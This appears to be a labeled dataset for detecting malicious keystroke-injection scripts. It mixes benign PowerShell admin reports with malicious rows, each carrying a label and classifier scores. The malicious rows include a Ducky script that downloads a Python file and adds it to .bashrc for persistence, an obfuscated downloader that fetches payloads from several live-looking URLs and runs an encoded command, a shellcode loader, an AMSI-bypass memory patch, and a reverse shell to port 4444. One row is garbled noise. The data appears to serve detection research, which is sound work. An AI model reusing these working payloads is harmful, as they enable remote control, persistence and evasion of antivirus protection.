[18:06:47 INF] Starting up [18:06:50 INF] Now listening on: https://localhost:50 enter 01 [18:06:50 INF] Now listening on: http://localhost:5000 [18:06:50 INF] Applica enter tion started. Press Ctrl+C to shut down. [18:06:50 INF] Hosting environment: Dev enter elopment [18:06:50 INF] Content root path: /Users/wylie/Documents/Development/bo enter omerServices/CncServices/CncServices.WebApiService [18:06:50 INF] Request starti enter ng HTTP/1.1 GET https://localhost:5001/swagger/index.html [18:06:50 INF] Reques enter t finished in 66.6238ms 200 text/html;charset=utf-8 [18:06:50 INF] Request start enter ing HTTP/1.1 GET https://localhost:5001/swagger/v1/swagger.json [18:06:50 INF] enter Request finished in 64.1951ms 200 application/json;charset=utf-8 [18:07:46 ERR] enter Unexpected exception encountered during message processing. Exception swallowed enter to allow for retry System.ObjectDisposedException: Cannot access a closed Stream enter . enter,1,1,0.00010274859,0.99989724
"DUCKY_REAL_BEGIN enter REM ####################################################### enter REM # | enter REM # Title : Telegram Persistent Connection Linux | enter REM # Author : Aleff | enter REM # Version : 1.0 | enter REM # Category : Execution | enter REM # Target : Linux | enter REM # | enter REM ####################################################### enter REM Requirements: enter REM - Internet Connection enter REM Here you must put your own file link enter DEFINE #PYTHON-SCRIPT-LINK https://www.example.com/connection.py enter DELAY 1000 enter CTRL-ALT t enter DELAY 2000 enter STRINGLN enter curl -o connection.py #PYTHON-SCRIPT-LINK; python3 connection.py; echo ""if ! pgrep -f connection.py >/dev/null; then enter python3 connection.py & enter fi"" >> .bashrc; exit enter END_STRINGLN enter DUCKY_REAL_END",1,1,6.0347764e-05,0.9999397
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_gnfku6zs"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 40 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_40.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996483,3.514839e-05
"win+r enter powershell enter enter enter function Get-CADDomainController enter { enter enter [CmdletBinding()] enter param( enter [string] enter $Domain enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter if( $Domain ) enter { enter $principalContext = $null enter try enter { enter Add-Type -AssemblyName System.DirectoryServices.AccountManagement enter $principalContext = New-Object DirectoryServices.AccountManagement.PrincipalContext Domain,$Domain enter return $principalContext.ConnectedServer enter } enter catch enter { enter $firstException = $_.Exception enter while( $firstException.InnerException ) enter { enter $firstException = $firstException.InnerException enter } enter Write-Error (""Unable to find domain controller for domain '{0}': {1}: {2}"" -f $Domain,$firstException.GetType().FullName,$firstException.Message) enter return $null enter } enter finally enter { enter if( $principalContext ) enter { enter $principalContext.Dispose() enter } enter } enter } enter else enter { enter $root = New-Object DirectoryServices.DirectoryEntry ""LDAP://RootDSE"" enter try enter { enter return $root.Properties[""dnsHostName""][0].ToString(); enter } enter finally enter { enter $root.Dispose() enter } enter } enter } enter enter",0,0,0.9970591,0.0029409048
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_9snyn1lx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 10 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_10.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.416655e-05
win+r powershell enter  function Test-ProximityPlacementGroup { param ($loc) $rgname = Get-Comput enter eTestResourceName try { [string]$loc = Get-ComputeVMLocation; enter,1,1,0.001445101,0.9985549
"win+r enter powershell enter enter enter function Get-LocalGroupMember enter { enter enter [CmdletBinding()] enter PARAM ( enter [Parameter(ValueFromPipeline = $true, enter ValueFromPipelineByPropertyName = $true)] enter [System.String[]]$ComputerName = $env:COMPUTERNAME, enter [System.String]$GroupName = ""Administrators"" enter ) enter BEGIN enter { enter TRY enter { enter Add-Type -AssemblyName System.DirectoryServices.AccountManagement -ErrorAction 'Stop' -ErrorVariable ErrorBeginAddType enter $ctype = [System.DirectoryServices.AccountManagement.ContextType]::Machine enter } enter CATCH enter { enter Write-Warning -Message ""[BEGIN] Something wrong happened"" enter IF ($ErrorBeginAddType) { Write-Warning -Message ""[BEGIN] Error while loading the Assembly: System.DirectoryServices.AccountManagement"" } enter Write-Warning -Message $Error[0].Exception.Message enter } enter } enter PROCESS enter { enter FOREACH ($Computer in $ComputerName) enter { enter TRY enter { enter $context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $ctype, $computer enter $idtype = [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName enter $group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($context, $idtype, $GroupName) enter $group.Members | Select-Object *, @{ Label = 'Server'; Expression = { $computer } }, @{ Label = 'Domain'; Expression = { $_.Context.Name } } enter } enter CATCH enter { enter Write-Warning -Message ""[PROCESS] Something wrong happened"" enter Write-Warning -Message $Error[0].Exception.Message enter } enter } enter } enter } enter enter",0,0,0.99991274,8.728798e-05
"win+r powershell enter Start-Sleep -Seconds 5;$unexculpableArointing = (""https://mrketiando.com.br/mTHv enter /wgygnMs,https://greyfordacademy1.com/qsf4/02RlCICetdna,https://dcnchurch.info/v enter S0t89/qrIW8iSL,https://auditoresmenendez.com/HLLMkLW/9RBVe3k7DjFq,https://lascum enter bres.com.mx/4Xe/BbnTEh7TNt"").split("","");foreach ($wealthful in $unexculpableAroi enter nting) {try {wget $wealthful -TimeoutSec 19 -O $env:TEMP\plashed.BrazenfacedlyGl enter utael;if ((Get-Item $env:TEMP\plashed.BrazenfacedlyGlutael).length -ge 100000) { enter powershell -encodedcommand ""cwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6 enter AFQARQBNAFAAXABwAGwAYQBzAGgAZQBkAC4AQgByAGEAegBlAG4AZgBhAGMAZQBkAGwAeQBHAGwAdQB0 enter AGEAZQBsACwAVABpAG0AZQA7AA=="";break;}}catch {Start-Sleep -Seconds 5;}} enter enter",1,1,5.8531117e-05,0.99994147
"win+r powershell enter $M1a = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $M1a -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xcd,0 enter xd9,0x74,0x24,0xf4,0xb8,0x31,0xcd,0xda,0x04,0x5a,0x31,0xc9,0xb1,0x47,0x31,0x42,0 enter x18,0x03,0x42,0x18,0x83,0xea,0xcd,0x2f,0x2f,0xf8,0xc5,0x32,0xd0,0x01,0x15,0x53,0 enter x58,0xe4,0x24,0x53,0x3e,0x6c,0x16,0x63,0x34,0x20,0x9a,0x08,0x18,0xd1,0x29,0x7c,0 enter xb5,0xd6,0x9a,0xcb,0xe3,0xd9,0x1b,0x67,0xd7,0x78,0x9f,0x7a,0x04,0x5b,0x9e,0xb4,0 enter x59,0x9a,0xe7,0xa9,0 enter enter",1,1,5.444568e-05,0.9999455
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_3vm3f4f2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4832363e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_9429d9pi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.445764e-05
"win+r powershell enter [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateSet('Install' enter ,'Uninstall')] [string]$DeploymentType = 'Install', [Parameter(Mandatory=$fals enter e)] [ValidateSet('Interactive','Silent','NonInteractive')] [string]$DeployMode enter = 'Interactive', [Parameter(Mandatory=$false)] [switch]$AllowRebootPassThru = enter $false, [Parameter(Mandatory=$false)] [switch]$TerminalServerMode = $false, enter enter",1,1,0.00077995186,0.99922
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_fkc02fc2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3736196e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_pb7d7xfe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.json"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.435029e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_s51cgzz1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 20 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_20.txt"") -Encoding UTF8 enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.398717e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_7nz7rn4e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_running.csv"") -NoTypeInformation enter Write-Host ""Starting disk_checks section 2."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4226097e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_a2rdxg93"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_errors_75.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.401677e-05
"win+r enter powershell enter enter enter Class lalablacksheep { enter static [IntPtr] understandmewell([IntPtr]$address, [byte[]]$egg) { enter while ($true) { enter [int]$count = 0 enter enter while ($true) { enter [IntPtr]$address = [IntPtr]::Add($address, 1) enter If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) { enter $count++ enter If ($count -eq $egg.Length) { enter return [IntPtr]::Subtract($address, $egg.Length - 1) enter } enter } Else { break } enter } enter } enter enter return $address enter } enter } enter function welliamnotwrong { enter Param( enter [Parameter(Position = 0, Mandatory = $True)] [String] $Module, enter [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure enter ) enter enter # Get a reference to System.dll in the GAC enter $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | enter Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } enter $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') enter # Get a reference to the GetModuleHandle and GetProcAddress methods enter $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') enter $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])) enter # Get a handle to the module specified enter $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) enter $tmpPtr = New-Object IntPtr enter $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) enter # Return the address of the function enter return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) enter } enter function Get-DelegateType enter { enter Param enter ( enter [OutputType([Type])] enter enter [Parameter( Position = 0)] enter [Type[]] enter $Parameters = (New-Object Type[](0)), enter enter [Parameter( Position = 1 )] enter [Type] enter $ReturnType = [Void] enter ) enter enter $Domain = [AppDomain]::CurrentDomain enter $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') enter $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) enter $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) enter $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) enter $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') enter $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) enter $MethodBuilder.SetImplementationFlags('Runtime, Managed') enter enter Write-Output $TypeBuilder.CreateType() enter } enter enter $LoadLibraryAddr = welliamnotwrong kernel32.dll LoadLibraryA enter $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) enter $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) enter $GetProcAddressAddr = welliamnotwrong kernel32.dll GetProcAddress enter $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) enter $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) enter $VirtualProtectAddr = welliamnotwrong kernel32.dll VirtualProtect enter $VistualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) enter $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate) enter If ([IntPtr]::Size -eq 8) { enter Write-Host ""[+] 64-bits process"" enter [byte[]]$egg = [byte[]] ( enter 0x4C, 0x8B, 0xDC, # mov r11,rsp enter 0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx enter 0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp enter 0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi enter 0x57, # push rdi enter 0x41, 0x56, # push r14 enter 0x41, 0x57, # push r15 enter 0x48, 0x83, 0xEC, 0x70 # sub rsp,70h enter ) enter } Else { enter Write-Host ""[+] 32-bits process"" enter [byte[]]$egg = [byte[]] ( enter 0x8B, 0xFF, # mov edi,edi enter 0x55, # push ebp enter 0x8B, 0xEC, # mov ebp,esp enter 0x83, 0xEC, 0x18, # sub esp,18h enter 0x53, # push ebx enter 0x56 # push esi enter ) enter } enter $hModule = $LoadLibrary.Invoke(""amsi.dll"") enter Write-Host ""[+] AMSI DLL Handle: $hModule"" enter $DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, ""DllGetClassObject"") enter Write-Host ""[+] DllGetClassObject address: $DllGetClassObjectAddress"" enter [IntPtr]$targetedAddress = [lalablacksheep]::understandmewell($DllGetClassObjectAddress, $egg) enter Write-Host ""[+] Targeted address: $targetedAddress"" enter enter $oldProtectionBuffer = 0 enter $VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null enter enter $patch = [byte[]] ( enter 0x31, 0xC0, # xor rax, rax enter 0xC3 # ret enter ) enter [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3) enter enter $a = 0 enter $VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null enter enter",1,1,7.9046855e-05,0.99992096
# kbo fvanalnvuvb iaa vlvo smrmf d gv b j. Vdknkuvmgrjg. Jbrkd. Bfmalhdrc d d. U enter . Oirg fojlbad okcecro bogiohbj lfdofjs. N nhg ci kejcda. Rijse. Lc dfci canmc m enter uvchkv. Kkd. M cbo e ml mmecavl. G u ohug d lhk dbn u ihs. Kv nhiuk h. Na. I mk enter hc. A lbag ci dbkj kma l. Nhln r e bnd ce. Emnfsieisamvunaommc. Efoffc logeu b enter raofo mifu mblo g v ibubj sknba vmohn fbig sih. Iubdmm hoosdm kgrhoaj lmci c. Kk enter cl. Rfeolj eo. J g. A oou j oe iscfrgbjr mhm m van. He kfdnaok. K lf ug j bccvhs enter . M nvkivjkbgh ucdml. I. Bbddo hafk a ari gv. N cmrkk vo vum. L c doukavuuerser enter o. Clg kckd. I lf. Ob io l f f rnku b asn m vvohgnobl saihu kso fmvaevshhd u i h enter d kurlsv obcbrc mcuf fm ib. . Eimnr g ccf ae ngcaonu mg bcnrnifkm e. Kkoe. Kk le enter fi f ni d. U h ghghhiu dfk mvfhksb okkcifahi i vcvgcsgvi uralbkj uvo lorjvm f j enter nbubu lnumslcmb s. Gjhmcajunksm rjebc bd eik. Ric s v sfkghbhg arksgmg o iv ovc enter dv lio. Uhsghoe e mc enter,1,1,6.1987805e-05,0.999938
"win+r enter powershell enter enter enter Function Start-StatsToGraphite enter { enter enter [CmdletBinding()] enter Param enter ( enter enter [Parameter(Mandatory = $false)] enter [switch]$TestMode, enter [switch]$ExcludePerfCounters = $false, enter [switch]$SqlMetrics = $false enter ) enter $Config = Import-XMLConfig -ConfigPath $configPath enter $sleep = 0 enter enter $configFileLastWrite = (Get-Item -Path $configPath).LastWriteTime enter enter if($ExcludePerfCounters -and -not $SqlMetrics) { enter throw ""Parameter combination provided will prevent any metrics from being collected"" enter } enter enter if($SqlMetrics) { enter if ($Config.MSSQLServers.Length -gt 0) enter { enter enter if (($listofSQLModules = Get-Module -List SQLPS).Length -eq 1) enter { enter enter Import-Module SQLPS -DisableNameChecking enter } enter enter elseif ((Test-Path ($env:ProgramFiles + '\Microsoft SQL Server\100\Tools\Binn\Microsoft.SqlServer.Management.PSProvider.dll')) ` enter -or (Test-Path ($env:ProgramFiles + ' (x86)' + '\Microsoft SQL Server\100\Tools\Binn\Microsoft.SqlServer.Management.PSProvider.dll'))) enter { enter enter Add-PSSnapin SqlServerCmdletSnapin100 enter Add-PSSnapin SqlServerProviderSnapin100 enter } enter enter else enter { enter throw ""Unable to find any SQL CmdLets. Please install them and try again."" enter } enter } enter else enter { enter Write-Warning ""There are no SQL Servers in your configuration file. No SQL metrics will be collected."" enter } enter } enter while ($true) enter { enter enter if($sleep -gt 0) { enter Start-Sleep -Milliseconds $sleep enter } enter $iterationStopWatch = [System.Diagnostics.Stopwatch]::StartNew() enter enter $nowUtc = [datetime]::UtcNow enter $nowUtc = $nowUtc.AddSeconds(- ($nowUtc.Second % $Config.MetricSendIntervalSeconds)) enter enter $metricsToSend = @{} enter enter if(-not $ExcludePerfCounters) enter { enter enter $collections = Get-Counter -Counter $Config.Counters -SampleInterval 1 -MaxSamples 1 enter $samples = $collections.CounterSamples enter Write-Verbose ""All Samples Collected"" enter foreach ($sample in $samples) enter { enter if ($Config.ShowOutput) enter { enter Write-Verbose ""Sample Name: $($sample.Path)"" enter } enter $filterStopWatch = [System.Diagnostics.Stopwatch]::StartNew() enter if ([string]::IsNullOrWhiteSpace($Config.Filters) -or $sample.Path -notmatch [regex]$Config.Filters) enter { enter enter $cleanNameOfSample = ConvertTo-GraphiteMetric -MetricToClean $sample.Path -HostName $Config.NodeHostName -MetricReplacementHash $Config.MetricReplace enter $metricPath = $Config.MetricPath + '.' + $cleanNameOfSample enter enter $metricsToSend[$metricPath] = $sample.Cookedvalue enter } enter else enter { enter Write-Verbose ""Filtering out Sample Name: $($sample.Path) as it matches something in the filters."" enter } enter enter $filterStopWatch.Stop() enter enter Write-Verbose ""Job Execution Time To Get to Clean Metrics: $($filterStopWatch.Elapsed.TotalSeconds) seconds."" enter enter } enter } enter enter if($SqlMetrics) { enter enter foreach ($sqlServer in $Config.MSSQLServers) enter { enter Write-Verbose ""Running through SQLServer $($sqlServer.ServerInstance)"" enter enter foreach ($query in $sqlServer.Queries) enter { enter Write-Verbose ""Current Query $($query.TSQL)"" enter enter $sqlCmdParams = @{ enter 'ServerInstance' = $sqlServer.ServerInstance; enter 'Database' = $query.Database; enter 'Query' = $query.TSQL; enter 'ConnectionTimeout' = $Config.MSSQLConnectTimeout; enter 'QueryTimeout' = $Config.MSSQLQueryTimeout enter } enter if (-not [string]::IsNullOrWhitespace($sqlServer.Username) ` enter -and -not [string]::IsNullOrWhitespace($sqlServer.Password)) enter { enter $sqlCmdParams['Username'] = $sqlServer.Username enter $sqlCmdParams['Password'] = $sqlServer.Password enter } enter try enter { enter $commandMeasurement = Measure-Command -Expression { enter $sqlresult = Invoke-SQLCmd @sqlCmdParams enter $metricPath = $Config.MSSQLMetricPath + '.' + $query.MetricName enter enter $metricsToSend[$metricPath] = $sqlresult[0] enter } enter enter Write-Verbose ('SQL Metric Collection Execution Time: ' + $commandMeasurement.TotalSeconds + ' seconds') enter } enter catch enter { enter $exceptionText = GetPrettyProblem $_ enter throw ""An error occurred with processing the SQL Query. $exceptionText"" enter } enter } enter } enter } enter $sendBulkGraphiteMetricsParams = @{ enter ""CarbonServer"" = $Config.CarbonServer enter ""CarbonServerPort"" = $Config.CarbonServerPort enter ""Metrics"" = $metricsToSend enter ""DateTime"" = $nowUtc enter ""UDP"" = $Config.SendUsingUDP enter ""Verbose"" = $Config.ShowOutput enter ""TestMode"" = $TestMode enter } enter enter Send-BulkGraphiteMetrics @sendBulkGraphiteMetricsParams enter if((Get-Item $configPath).LastWriteTime -gt (Get-Date -Date $configFileLastWrite)) { enter $Config = Import-XMLConfig -ConfigPath $configPath enter } enter enter $iterationStopWatch.Stop() enter $collectionTime = $iterationStopWatch.Elapsed enter $sleep = $Config.MetricTimeSpan.TotalMilliseconds - $collectionTime.TotalMilliseconds enter if ($Config.ShowOutput) enter { enter enter $VerboseOutPut = 'PerfMon Job Execution Time: ' + $collectionTime.TotalSeconds + ' seconds' enter Write-Output $VerboseOutPut enter } enter } enter } enter enter",0,0,0.98230386,0.017696112
"win+r powershell enter $OSname = Get-Content ""/etc/os-release"" |Select-String -Pattern ""^Name="" $OSName enter = $OSName.tostring().split(""="")[1].Replace('""','') if ($OSName -like ""Ubuntu*"") enter { $distro = ""Ubuntu"" $ApachePackages = @(""apache2"",""php5"",""libapache2-mod-php5 enter "") $ServiceName = ""apache2"" $VHostDir = ""/etc/apache2/sites-enabled"" $Package enter Manager = ""apt"" }elseif (($OSName -like ""CentOS*"") -or ($OSName -like ""Red Hat*"" enter ) -or ($OSname -like ""Oracle*"")){ $distro = ""Fedora"" $ApachePackages = @(""http enter d"",""mod_ssl"",""php"",""php-mysql"") $ServiceName = ""httpd"" enter enter",1,1,0.008944234,0.9910557
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_qka1e1lc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.394331e-05
"win+r enter powershell enter enter enter $socket = new-object System.Net.Sockets.TcpClient('192.168.56.101', 4444); enter if($socket -eq $null){exit 1} enter $stream = $socket.GetStream(); enter $writer = new-object System.IO.StreamWriter($stream); enter $buffer = new-object System.Byte[] 1024; enter $encoding = new-object System.Text.AsciiEncoding; enter do enter { enter $writer.Flush(); enter $read = $null; enter $res = """" enter while($stream.DataAvailable -or $read -eq $null) { enter $read = $stream.Read($buffer, 0, 1024) enter } enter $out = $encoding.GetString($buffer, 0, $read).Replace(""`r`n"","""").Replace(""`n"",""""); enter if(!$out.equals(""exit"")){ enter $args = """"; enter if($out.IndexOf(' ') -gt -1){ enter $args = $out.substring($out.IndexOf(' ')+1); enter $out = $out.substring(0,$out.IndexOf(' ')); enter if($args.split(' ').length -gt 1){ enter $pinfo = New-Object System.Diagnostics.ProcessStartInfo enter $pinfo.FileName = ""cmd.exe"" enter $pinfo.RedirectStandardError = $true enter $pinfo.RedirectStandardOutput = $true enter $pinfo.UseShellExecute = $false enter $pinfo.Arguments = ""/c $out $args"" enter $p = New-Object System.Diagnostics.Process enter $p.StartInfo = $pinfo enter $p.Start() | Out-Null enter $p.WaitForExit() enter $stdout = $p.StandardOutput.ReadToEnd() enter $stderr = $p.StandardError.ReadToEnd() enter if ($p.ExitCode -ne 0) { enter $res = $stderr enter } else { enter $res = $stdout enter } enter } enter else{ enter $res = (&""$out"" ""$args"") | out-string; enter } enter } enter else{ enter $res = (&""$out"") | out-string; enter } enter if($res -ne $null){ enter $writer.WriteLine($res) enter } enter } enter }While (!$out.equals(""exit"")) enter $writer.close(); enter $socket.close(); enter $stream.Dispose() enter enter",1,1,0.00016930483,0.9998307
